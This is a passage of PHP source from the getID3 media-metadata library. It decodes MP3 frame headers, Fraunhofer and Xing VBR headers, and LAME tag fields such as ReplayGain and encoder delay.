									'r3mix|19500'         => 19500,  // 3.90,   3.90.1, 3.92
									'r3mix|19600'         => 19600,  // 3.90.2, 3.90.3, 3.91
									'r3mix|18000'         => 18000,  // 3.94,   3.95
								);
							if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) {
								$encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency'];
							}
							break;

						default:
							break;
					}
					break;
			}
		}

		if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) {
			if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) {
				$encoder_options .= ' --resample 44100';
			} elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) {
				$encoder_options .= ' --resample 48000';
			} elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) {
				switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) {
					case 0: // <= 32000
						// may or may not be same as source frequency - ignore
						break;
					case 1: // 44100
					case 2: // 48000
					case 3: // 48000+
						$ExplodedOptions = explode(' ', $encoder_options, 4);
						switch ($ExplodedOptions[0]) {
							case '--preset':
							case '--alt-preset':
								switch ($ExplodedOptions[1]) {
									case 'fast':
									case 'portable':
									case 'medium':
									case 'standard':
									case 'extreme':
									case 'insane':
										$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										break;

									default:
										static $ExpectedResampledRate = array(
												'phon+/lw/mw-eu/sw|16000' => 16000,
												'mw-us|24000'             => 24000, // 3.95
												'mw-us|32000'             => 32000, // 3.93
												'mw-us|16000'             => 16000, // 3.92
												'phone|16000'             => 16000,
												'phone|11025'             => 11025, // 3.94a15
												'radio|32000'             => 32000, // 3.94a15
												'fm/radio|32000'          => 32000, // 3.92
												'fm|32000'                => 32000, // 3.90
												'voice|32000'             => 32000);
										if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) {
											$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										}
										break;
								}
								break;

							case '--r3mix':
							default:
								$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
								break;
						}
						break;
				}
			}
		}
		if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) {
			//$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
			$encoder_options = strtoupper($info['audio']['bitrate_mode']);
		}

		return $encoder_options;
	}

	/**
	 * @param int   $offset
	 * @param array $info
	 * @param bool  $recursivesearch
	 * @param bool  $ScanAsCBR
	 * @param bool  $FastMPEGheaderScan
	 *
	 * @return bool
	 */
	public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) {
		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if ($this->fseek($offset) != 0) {
			$this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset);
			return false;
		}
		//$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame
		$headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data

		// MP3 audio frame structure:
		// $aa $aa $aa $aa [$bb $bb] $cc...
		// where $aa..$aa is the four-byte mpeg-audio header (below)
		// $bb $bb is the optional 2-byte CRC
		// and $cc... is the audio data

		$head4 = substr($headerstring, 0, 4);
		$head4_key = getid3_lib::PrintHexBytes($head4, true, false, false);
		static $MPEGaudioHeaderDecodeCache = array();
		if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) {
			$MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key];
		} else {
			$MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4);
			$MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray;
		}

		static $MPEGaudioHeaderValidCache = array();
		if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache
			//$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true);  // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1)
			$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false);
		}

		// shortcut
		if (!isset($info['mpeg']['audio'])) {
			$info['mpeg']['audio'] = array();
		}
		$thisfile_mpeg_audio = &$info['mpeg']['audio'];

		if ($MPEGaudioHeaderValidCache[$head4_key]) {
			$thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray;
		} else {
			$this->warning('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset);
			return false;
		}

		if (!$FastMPEGheaderScan) {
			$thisfile_mpeg_audio['version']       = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']];
			$thisfile_mpeg_audio['layer']         = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']];

			$thisfile_mpeg_audio['channelmode']   = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']];
			$thisfile_mpeg_audio['channels']      = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2);
			$thisfile_mpeg_audio['sample_rate']   = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']];
			$thisfile_mpeg_audio['protection']    = !$thisfile_mpeg_audio['raw']['protection'];
			$thisfile_mpeg_audio['private']       = (bool) $thisfile_mpeg_audio['raw']['private'];
			$thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']];
			$thisfile_mpeg_audio['copyright']     = (bool) $thisfile_mpeg_audio['raw']['copyright'];
			$thisfile_mpeg_audio['original']      = (bool) $thisfile_mpeg_audio['raw']['original'];
			$thisfile_mpeg_audio['emphasis']      = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']];

			$info['audio']['channels']    = $thisfile_mpeg_audio['channels'];
			$info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate'];

			if ($thisfile_mpeg_audio['protection']) {
				$thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2));
			}
		}

		if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) {
			// http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0
			$this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1');
			$thisfile_mpeg_audio['raw']['bitrate'] = 0;
		}
		$thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding'];
		$thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']];

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) {
			// only skip multiple frame check if free-format bitstream found at beginning of file
			// otherwise is quite possibly simply corrupted data
			$recursivesearch = false;
		}

		// For Layer 2 there are some combinations of bitrate and mode which are not allowed.
		if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) {

			$info['audio']['dataformat'] = 'mp2';
			switch ($thisfile_mpeg_audio['channelmode']) {

				case 'mono':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) {
						// these are ok
					} else {
						$this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

				case 'stereo':
				case 'joint stereo':
				case 'dual channel':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) {
						// these are ok
					} else {
						$this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

			}

		}


		if ($info['audio']['sample_rate'] > 0) {
			$thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']);
		}

		$nextframetestoffset = $offset + 1;
		if ($thisfile_mpeg_audio['bitrate'] != 'free') {

			$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];

			if (isset($thisfile_mpeg_audio['framelength'])) {
				$nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength'];
			} else {
				$this->error('Frame at offset('.$offset.') is has an invalid frame length.');
				return false;
			}

		}

		$ExpectedNumberOfAudioBytes = 0;

		////////////////////////////////////////////////////////////////////////////////////
		// Variable-bitrate headers

		if (substr($headerstring, 4 + 32, 4) == 'VBRI') {
			// Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36)
			// specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html

			$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
			$thisfile_mpeg_audio['VBR_method']   = 'Fraunhofer';
			$info['audio']['codec']              = 'Fraunhofer';

			$SideInfoData = substr($headerstring, 4 + 2, 32);

			$FraunhoferVBROffset = 36;

			$thisfile_mpeg_audio['VBR_encoder_version']     = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  4, 2)); // VbriVersion
			$thisfile_mpeg_audio['VBR_encoder_delay']       = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  6, 2)); // VbriDelay
			$thisfile_mpeg_audio['VBR_quality']             = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  8, 2)); // VbriQuality
			$thisfile_mpeg_audio['VBR_bytes']               = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes
			$thisfile_mpeg_audio['VBR_frames']              = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames
			$thisfile_mpeg_audio['VBR_seek_offsets']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize
			$thisfile_mpeg_audio['VBR_seek_scale']          = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale
			$thisfile_mpeg_audio['VBR_entry_bytes']         = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes
			$thisfile_mpeg_audio['VBR_entry_frames']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames

			$ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes'];

			$previousbyteoffset = $offset;
			for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) {
				$Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes']));
				$FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes'];
				$thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']);
				$thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset;
				$previousbyteoffset += $Fraunhofer_OffsetN;
			}


		} else {

			// Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36)
			// depending on MPEG layer and number of channels

			$VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']);
			$SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4);

			if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) {
				// 'Xing' is traditional Xing VBR frame
				// 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.)
				// 'Info' *can* legally be used to specify a VBR file as well, however.

				// http://www.multiweb.cz/twoinches/MP3inside.htm
				//00..03 = "Xing" or "Info"
				//04..07 = Flags:
				//  0x01  Frames Flag     set if value for number of frames in file is stored
				//  0x02  Bytes Flag      set if value for filesize in bytes is stored
				//  0x04  TOC Flag        set if values for TOC are stored
				//  0x08  VBR Scale Flag  set if values for VBR scale is stored
				//08..11  Frames: Number of frames in file (including the first Xing/Info one)
				//12..15  Bytes:  File length in Bytes
				//16..115  TOC (Table of Contents):
				//  Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file.
				//  Each Byte has a value according this formula:
				//  (TOC[i] / 256) * fileLenInBytes
				//  So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use:
				//  TOC[(60/240)*100] = TOC[25]
				//  and corresponding Byte in file is then approximately at:
				//  (TOC[25]/256) * 5000000
				//116..119  VBR Scale


				// should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME
//				if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					$thisfile_mpeg_audio['VBR_method']   = 'Xing';
//				} else {
//					$ScanAsCBR = true;
//					$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
//				}

				$thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4));

				$thisfile_mpeg_audio['xing_flags']['frames']    = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001);
				$thisfile_mpeg_audio['xing_flags']['bytes']     = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002);
				$thisfile_mpeg_audio['xing_flags']['toc']       = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004);
				$thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008);

				if ($thisfile_mpeg_audio['xing_flags']['frames']) {
					$thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset +  8, 4));
					//$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame
				}
				if ($thisfile_mpeg_audio['xing_flags']['bytes']) {
					$thisfile_mpeg_audio['VBR_bytes']  = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4));
				}

				//if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				//if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				if (!empty($thisfile_mpeg_audio['VBR_frames'])) {
					$used_filesize  = 0;
					if (!empty($thisfile_mpeg_audio['VBR_bytes'])) {
						$used_filesize = $thisfile_mpeg_audio['VBR_bytes'];
					} elseif (!empty($info['filesize'])) {
						$used_filesize  = $info['filesize'];
						$used_filesize -= (isset($info['id3v2']['headerlength']) ? intval($info['id3v2']['headerlength']) : 0);
						$used_filesize -= (isset($info['id3v1']) ? 128 : 0);
						$used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0);
						$this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes');
					}

					$framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames'];

					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						//$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
						$info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						//$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
						$info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144;
					}
					$thisfile_mpeg_audio['framelength'] = floor($framelengthfloat);
				}

				if ($thisfile_mpeg_audio['xing_flags']['toc']) {
					$LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100);
					for ($i = 0; $i < 100; $i++) {
						$thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData[$i]);
					}
				}
				if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) {
					$thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4));
				}


				// http://gabriel.mp3-tech.org/mp3infotag.html
				if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') {

					// shortcut
					$thisfile_mpeg_audio['LAME'] = array();
					$thisfile_mpeg_audio_lame    = &$thisfile_mpeg_audio['LAME'];


					$thisfile_mpeg_audio_lame['long_version']  = substr($headerstring, $VBRidOffset + 120, 20);
					$thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9);

					//$thisfile_mpeg_audio_lame['numeric_version'] = str_replace('LAME', '', $thisfile_mpeg_audio_lame['short_version']);
					$thisfile_mpeg_audio_lame['numeric_version'] = '';
					if (preg_match('#^LAME([0-9\\.a-z]*)#', $thisfile_mpeg_audio_lame['long_version'], $matches)) {
						$thisfile_mpeg_audio_lame['short_version']   = $matches[0];
						$thisfile_mpeg_audio_lame['numeric_version'] = $matches[1];
					}
					if (strlen($thisfile_mpeg_audio_lame['numeric_version']) > 0) {
						foreach (explode('.', $thisfile_mpeg_audio_lame['numeric_version']) as $key => $number) {
							$thisfile_mpeg_audio_lame['integer_version'][$key] = intval($number);
						}
						//if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') {
						if ((($thisfile_mpeg_audio_lame['integer_version'][0] * 1000) + $thisfile_mpeg_audio_lame['integer_version'][1]) >= 3090) { // cannot use string version compare, may have "LAME3.90" or "LAME3.100" -- see https://github.com/JamesHeinrich/getID3/issues/207

							// extra 11 chars are not part of version string when LAMEtag present
							unset($thisfile_mpeg_audio_lame['long_version']);

							// It the LAME tag was only introduced in LAME v3.90
							// https://wiki.hydrogenaud.io/index.php/LAME#VBR_header_and_LAME_tag
							// https://hydrogenaud.io/index.php?topic=9933

							// Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html
							// are assuming a 'Xing' identifier offset of 0x24, which is the case for
							// MPEG-1 non-mono, but not for other combinations
							$LAMEtagOffsetContant = $VBRidOffset - 0x24;

							// shortcuts
							$thisfile_mpeg_audio_lame['RGAD']    = array('track'=>array(), 'album'=>array());
							$thisfile_mpeg_audio_lame_RGAD       = &$thisfile_mpeg_audio_lame['RGAD'];
							$thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track'];
							$thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album'];
							$thisfile_mpeg_audio_lame['raw'] = array();
							$thisfile_mpeg_audio_lame_raw    = &$thisfile_mpeg_audio_lame['raw'];

							// byte $9B  VBR Quality
							// This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications.
							// Actually overwrites original Xing bytes
							unset($thisfile_mpeg_audio['VBR_scale']);
							$thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1));

							// bytes $9C-$A4  Encoder short VersionString
							$thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9);

							// byte $A5  Info Tag revision + VBR method
							$LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1));

							$thisfile_mpeg_audio_lame['tag_revision']   = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4;
							$thisfile_mpeg_audio_lame_raw['vbr_method'] =  $LAMEtagRevisionVBRmethod & 0x0F;
							$thisfile_mpeg_audio_lame['vbr_method']     = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']);
							$thisfile_mpeg_audio['bitrate_mode']        = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr'

							// byte $A6  Lowpass filter value
							$thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100;

							// bytes $A7-$AE  Replay Gain
							// https://web.archive.org/web/20021015212753/http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html
							// bytes $A7-$AA : 32 bit floating point "Peak signal amplitude"
							if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') {
								// LAME 3.94a16 and later - 9.23 fixed point
								// ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375
								$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608);
							} else {
								// LAME 3.94a15 and earlier - 32-bit floating point
								// Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15
								$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4));
							}
							if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) {
								unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
							} else {
								$thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
							}

							$thisfile_mpeg_audio_lame_raw['RGAD_track']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2));
							$thisfile_mpeg_audio_lame_raw['RGAD_album']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2));


							if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) {

								$thisfile_mpeg_audio_lame_RGAD_track['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] =  $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF;
								$thisfile_mpeg_audio_lame_RGAD_track['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']);
								$thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']);
								$thisfile_mpeg_audio_lame_RGAD_track['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']);

								if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
									$info['replay_gain']['track']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
								}
								$info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator'];
								$info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db'];
							} else {
								unset($thisfile_mpeg_audio_lame_RGAD['track']);
							}
							if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) {

								$thisfile_mpeg_audio_lame_RGAD_album['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF;
								$thisfile_mpeg_audio_lame_RGAD_album['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']);
								$thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']);
								$thisfile_mpeg_audio_lame_RGAD_album['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']);

								if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
									$info['replay_gain']['album']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
								}
								$info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator'];
								$info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db'];
							} else {
								unset($thisfile_mpeg_audio_lame_RGAD['album']);
							}
							if (empty($thisfile_mpeg_audio_lame_RGAD)) {
								unset($thisfile_mpeg_audio_lame['RGAD']);
							}


							// byte $AF  Encoding flags + ATH Type
							$EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1));
							$thisfile_mpeg_audio_lame['encoding_flags']['nspsytune']   = (bool) ($EncodingFlagsATHtype & 0x10);
							$thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20);
							$thisfile_mpeg_audio_lame['encoding_flags']['nogap_next']  = (bool) ($EncodingFlagsATHtype & 0x40);
							$thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']  = (bool) ($EncodingFlagsATHtype & 0x80);
							$thisfile_mpeg_audio_lame['ath_type']                      =         $EncodingFlagsATHtype & 0x0F;

							// byte $B0  if ABR {specified bitrate} else {minimal bitrate}
							$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1));
							if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR)
								$thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
							} elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR)
								// ignore
							} elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate
								$thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
							}

							// bytes $B1-$B3  Encoder delays
							$EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3));
							$thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12;
							$thisfile_mpeg_audio_lame['end_padding']   =  $EncoderDelays & 0x000FFF;

							// byte $B4  Misc
							$MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1));
							$thisfile_mpeg_audio_lame_raw['noise_shaping']       = ($MiscByte & 0x03);
							$thisfile_mpeg_audio_lame_raw['stereo_mode']         = ($MiscByte & 0x1C) >> 2;
							$thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5;
							$thisfile_mpeg_audio_lame_raw['source_sample_freq']  = ($MiscByte & 0xC0) >> 6;
